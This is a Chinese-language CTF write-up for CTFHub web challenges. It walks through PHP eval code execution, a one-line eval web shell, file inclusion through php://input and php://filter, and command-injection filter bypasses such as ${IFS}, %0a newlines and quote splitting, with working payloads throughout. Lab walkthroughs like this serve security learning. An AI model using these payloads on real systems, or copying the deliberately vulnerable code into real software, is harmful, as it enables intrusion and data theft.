eval执行
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
-
eval():把字符串code作为PHP代码执行,允许执行任意PHP代码
-
system()函数:执行系统命令并输出结果
作法:
-
在url上get一下,?cmd=system('ls /'); //查看根目录下的文件
-
此时会发现一个名字带flag的文件存在,使用?cmd=system('cat /文件名‘); 即可查询出flag
文件包含
普通文件包含
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?
-
if (!strpos($_GET["file"], "flag")) { include $_GET["file"];
此处调用了**strpos(string,find,strat)**函数,即在string字符串中从strat开始查询find。所以此语句意为如果查询不到flag则执行include _GET["file"];语句否则输出“Hacker”
-
在查看shell.txt文件内容
<?php eval($_REQUEST['ctfhub']);?>
将ctfhub传的参数用PHP执行
- 首先get一下 ?file=shell.txt
- 再POST ctfhub=system("ls /")来查询flag所在
- 最后在使用 cat来查询flag文件夹中的内容
PHP伪协议
-
php://input : 可以将input之后的语句当成php执行
-
<?php if (isset($_GET['file'])) { if ( substr($_GET["file"], 0, 6) === "php://" ) { include($_GET["file"]); } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__); } ?> <hr> i don't have shell, how to get flag? <br> <a href="phpinfo.php">phpinfo</a> i don't have shell, how to get flag? phpinfo
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
如果file名中六个字符时"php://" 就执行include函数,所以可能为php伪协议又php:input//用于执行php代码,且其条件为allow_url_include是on(查看phpinfo);
因此便可直接构造file=php://input且post参数为,然后查找到flag直接cat即可
-
php://filter : 读取源代码
php://filter参数 描述 resource=(要过滤的数据流) 必选项,指定你要筛选过滤的数据流 read=读链的过滤器 可选,可以设定一个或多个过滤器名称,以管道符' | '分隔 write=写链的过滤器 可选,可以设定一个或多个过滤器名称,以管道符' | '分隔 ;两个链的过滤器 任何没有以read=或write=作前缀的筛选器列表会视情况应用于读或写链 <?php error_reporting(E_ALL); if (isset($_GET['file'])) { if ( substr($_GET["file"], 0, 6) === "php://" ) { include($_GET["file"]); } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__); } ?> <hr> i don't have shell, how to get flag? <br> flag in <code>/flag</code> /*i don't have shell, how to get flag? flag in /flag*/
依旧file前面六个字母为php://, 也无木马文件可以用,又说明flag再/flag中,则使用php://filter伪协议
此题很明显啊,flag再/flag里,那就直接file=php://filter/resource=/flag
-
远程包含
命令注入
1.shell1 & shell2,既执行shell1的命令也执行shell2的命令,二者同时执行;
2.shell1** &&** shell2,在shell1执行成功的情况下执行shell2,shell1执行失败就不会执行shell2,和逻辑与一样;
3.shell1** | shell2,“|”为管道符,它将shell1执行的结果作为shell2的输入,因此无论shell1执行结果如何,都会执行shell2**;
4.shell1** || shell2,在shell1执行失败的情况下执行shell2,shell1执行成功则不会执行**shell2,和逻辑或一样;
其中5 6两点为linux下命令
5.shell1**;**shell2,在Linux系统下会将shell1和shell2都执行;
6.shell1** 'shell2'**,shell2的执行结果会在shell1的报错信息中显示
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>CTFHub 命令注入-无过滤</title>
</head>
<body>
<h1>CTFHub 命令注入-无过滤</h1>
<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>
<hr>
<pre>
<?php
if ($res) {
print_r($res);
}
?>
</pre>
<?php
show_source(__FILE__);
?>
</body>
</html>
if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}
没有什么其他东西直接拼接即可:127.0.0.1 & ls
有一个php文件,直接cat,无显示,查看源代码即可
或者可能存在特殊字符无法回显,使用base64编码即可 .......&cat..... | base64
命令注入—过滤cat
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/cat/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
-
正常ls:127.0.0.1 & ls 查询出对应的flag文件
-
!preg_match_all("/cat/", $ip, $m)
显然这句话过滤了cat,即不可使用cat去读取flag文件,但是读取文件命令有多种,因此另选其他读取文件命令即可:读取文件命令有:
cat | 从第一行开始显示文本内容(适用于内容较少的) |
---|---|
Tac | 从最后一行开始显示,是cat的逆序 |
More | 一页一页地显示文本内容(适用于内容较多的) |
less | 与more类似,但是它可以往前翻页 |
tail | 只看文本后面几行 |
head | 只看文本前面几行 |
nl | 显示文本内容与行号 |
此处便使用nl命令,127.0.0.1 & nl 对应的flag文件 即可得到flag
命令注入—过滤空格
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
!preg_match_all("/ /", $ip, $m)
显然这句代码过滤了空格,自然普通语句就不太行了;
-
ls的改动显然比较简单:127.0.0.1&ls 直接去掉空格即可
-
但cat就有些值得思考了,cat flag* 中间的空格不是简单去掉就行了,这便引入了绕过过滤空格的字符:
< , <> , %20(space) , %09(tab) , $IFS$9 , ${IFS} , $IFS
那么随便选一个即可:127.0.0.1&cat<falg*
过滤目录分隔符
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/\//", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
其中
!preg_match_all("/\//",$ip, $m)
显然过滤了目录分隔符/
对题
简单ls一下,发现flag文件不在根目录中,在flag_is_here中
在无任何附加条件下应当为ls /flag_is_here ,但该题过滤了‘/’,所以行不通,于是便可以使用cd命令进行跳转到flag_is_here文件夹中,此处可以用多种写法:127.0.0.1;cd flag_is_here;ls 或者127.0.0.1 & cd flag_is_here && ls
得到flag文件,在使用127.0.0.1;cd flag_is_here;cat flag_314622448428001.php
再查看源代码,找到flag即可;
过滤运算符
运算符有 || & && | ; 当过滤其中一种或者多种时用其他未被过滤的运算符进行拼接
综合
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
先看代码,过滤了| & ;cat flag ctfhub 以及空格
其中%0a可以代替绕过& ;
做题
输入命令127.0.0.1%0als,但是注意如果是在页面中输入那么当到达url上时会进行一次url编码,那么%0a—》%250a就与原意不同,所以此次命令必须直接输入在url上
从而得到flag所在文件夹flag_is_here
此处正常应该是127.0.0.1;cd ....;ls 但由于flag被过滤因此flag_is_here应换为fla‘’g_is_here或者fla$*g_is_here,其中‘’和$*在shell命令执行下为空
便得到对应的flag文件
再执行
127.0.0.1%0Acd${IFS}fla''g_is_here%0Acat${IFS}fla''g......